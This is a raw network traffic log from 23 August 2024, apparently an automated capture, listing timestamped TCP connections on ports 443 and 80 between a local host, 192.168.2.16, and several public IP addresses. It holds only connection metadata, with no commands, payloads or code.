Aug 23, 2024 16:21:31.439037085 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:31.439157009 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:31.439166069 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.493724108 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.494116068 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.494123936 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.495158911 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.495223999 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.499032974 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.499092102 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.499279022 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.499284983 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.504699945 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.504935980 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.504945040 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.505857944 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.505923033 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.506158113 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.506212950 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.553256989 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.554133892 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.554141045 CEST	443	49745	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:32.601273060 CEST	49745	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:32.951268911 CEST	49680	80	192.168.2.16	192.229.211.108
Aug 23, 2024 16:21:33.004563093 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:33.004657984 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:33.004719019 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:33.005100012 CEST	49746	443	192.168.2.16	202.172.26.4
Aug 23, 2024 16:21:33.005115986 CEST	443	49746	202.172.26.4	192.168.2.16
Aug 23, 2024 16:21:33.051476955 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.051517963 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.051595926 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.051789999 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.051805019 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.436080933 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:33.436150074 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:33.436223984 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:33.573353052 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.573638916 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.573657990 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.574656010 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.574717045 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.575625896 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.575711966 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.575788021 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:33.575794935 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:33.621270895 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.228199005 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.228836060 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.228877068 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.228909969 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.228935003 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.228982925 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.229840040 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.230751991 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.230786085 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.230811119 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.230823994 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.230863094 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.231750011 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.232950926 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.233007908 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.233016014 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.234541893 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.234592915 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.234601021 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.267266989 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:34.267297029 CEST	443	49742	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:34.267332077 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:34.267370939 CEST	49742	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:34.276293039 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.316855907 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.316937923 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.316987038 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.316997051 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.317008018 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.317060947 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.317297935 CEST	49747	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.317312002 CEST	443	49747	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.325951099 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.325980902 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.326067924 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.326277971 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.326292038 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.518167973 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:34.518198013 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:34.518297911 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:34.518507957 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:34.518520117 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:34.849001884 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.849674940 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.849689007 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.850001097 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.852957010 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.853019953 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:34.853102922 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:34.896503925 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:35.008336067 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:35.008414030 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:35.008465052 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:35.009129047 CEST	49748	443	192.168.2.16	188.114.96.3
Aug 23, 2024 16:21:35.009145021 CEST	443	49748	188.114.96.3	192.168.2.16
Aug 23, 2024 16:21:35.019598961 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.019642115 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.019707918 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.019964933 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.019975901 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.048511982 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.048765898 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.048787117 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.049760103 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.049833059 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.050822973 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.050883055 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.050968885 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.050975084 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.104276896 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.423368931 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.423461914 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.423533916 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.424596071 CEST	49749	443	192.168.2.16	172.67.137.224
Aug 23, 2024 16:21:35.424612999 CEST	443	49749	172.67.137.224	192.168.2.16
Aug 23, 2024 16:21:35.437350988 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.437388897 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.437458992 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.437555075 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.437586069 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.437640905 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.437805891 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.437830925 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.437885046 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.438011885 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.438026905 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.438118935 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.438129902 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.438242912 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.438251972 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.456573009 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.456598997 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.456672907 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.457737923 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.457750082 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.546197891 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.546471119 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.546493053 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.547349930 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.547434092 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.548388958 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.548439980 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.548656940 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.548664093 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.600276947 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.687382936 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.687673092 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.687711000 CEST	443	49750	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.687772989 CEST	49750	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.688282967 CEST	49755	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.688313961 CEST	443	49755	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.688385010 CEST	49755	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.688591957 CEST	49755	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:35.688602924 CEST	443	49755	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:35.852365971 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:35.852452993 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:35.852510929 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:35.918771029 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.919137001 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.919157982 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.920139074 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.920216084 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.921308994 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.921374083 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.921506882 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.921514988 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:35.923429012 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.923661947 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.923683882 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.924694061 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.924766064 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.925035954 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.925097942 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.925184011 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.925190926 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:35.925698042 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.925870895 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.925879002 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.926503897 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.926673889 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.926696062 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.926877022 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.926932096 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.927185059 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.927242994 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.927275896 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.927788019 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.927850008 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.928746939 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.928805113 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.928915977 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:35.928924084 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:35.966286898 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:35.966311932 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:35.972506046 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.982263088 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:35.982269049 CEST	443	49754	104.21.78.226	192.168.2.16
Aug 23, 2024 16:21:35.982296944 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.027542114 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.030105114 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.030165911 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.030178070 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.030294895 CEST	49754	443	192.168.2.16	104.21.78.226
Aug 23, 2024 16:21:36.030803919 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.030852079 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.030858994 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.036108971 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.036170006 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.036179066 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.036252022 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.036297083 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.036303997 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.037084103 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.037132978 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.037137985 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.037928104 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.037975073 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.037981987 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.045197010 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.045250893 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.045300007 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.045320034 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.045937061 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.045988083 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.045994043 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.047646046 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.047673941 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.047704935 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.047712088 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.047759056 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.048409939 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.049144030 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.049175024 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.049202919 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.049211025 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.049264908 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.064119101 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:36.064532995 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:36.064573050 CEST	443	49752	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:36.064636946 CEST	49752	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:36.065610886 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:36.065622091 CEST	443	49740	162.241.24.35	192.168.2.16
Aug 23, 2024 16:21:36.065659046 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:36.065681934 CEST	49740	443	192.168.2.16	162.241.24.35
Aug 23, 2024 16:21:36.065973997 CEST	49756	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:36.066003084 CEST	443	49756	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:36.066078901 CEST	49756	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:36.066334963 CEST	49756	443	192.168.2.16	104.18.95.41
Aug 23, 2024 16:21:36.066350937 CEST	443	49756	104.18.95.41	192.168.2.16
Aug 23, 2024 16:21:36.078334093 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.121118069 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.121997118 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.122026920 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.122070074 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.122085094 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.122129917 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.122838974 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.123539925 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.123589039 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.123595953 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.125174046 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.125236034 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.125243902 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.125962973 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.126013041 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.126019001 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.131953955 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.131990910 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.132014036 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.132021904 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.132064104 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.132419109 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.133615017 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.133667946 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.133675098 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.135345936 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.135412931 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.135421038 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.136214018 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.136265039 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.136271954 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.137109995 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.137167931 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.137175083 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.139070034 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.139906883 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.139942884 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.139971018 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.139978886 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.140033960 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.140815020 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.141658068 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.141685963 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.141711950 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.141717911 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.141762018 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.142519951 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.143377066 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.143429995 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.143435955 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.145102024 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.145162106 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.145168066 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.146212101 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.146281004 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.146286964 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.146949053 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.147006989 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.147012949 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.148241043 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.148296118 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.148302078 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.150160074 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.150216103 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.150221109 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.189292908 CEST	49751	443	192.168.2.16	151.101.130.137
Aug 23, 2024 16:21:36.189306974 CEST	443	49751	151.101.130.137	192.168.2.16
Aug 23, 2024 16:21:36.201158047 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.201241016 CEST	49753	443	192.168.2.16	104.17.24.14
Aug 23, 2024 16:21:36.201256990 CEST	443	49753	104.17.24.14	192.168.2.16
Aug 23, 2024 16:21:36.213793039 CEST	443	49755	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:36.214111090 CEST	49755	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:36.214133978 CEST	443	49755	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:36.215118885 CEST	443	49755	35.190.80.1	192.168.2.16
Aug 23, 2024 16:21:36.215187073 CEST	49755	443	192.168.2.16	35.190.80.1
Aug 23, 2024 16:21:36.215655088 CEST	49755	443	192.168.2.16	35.190.80.1
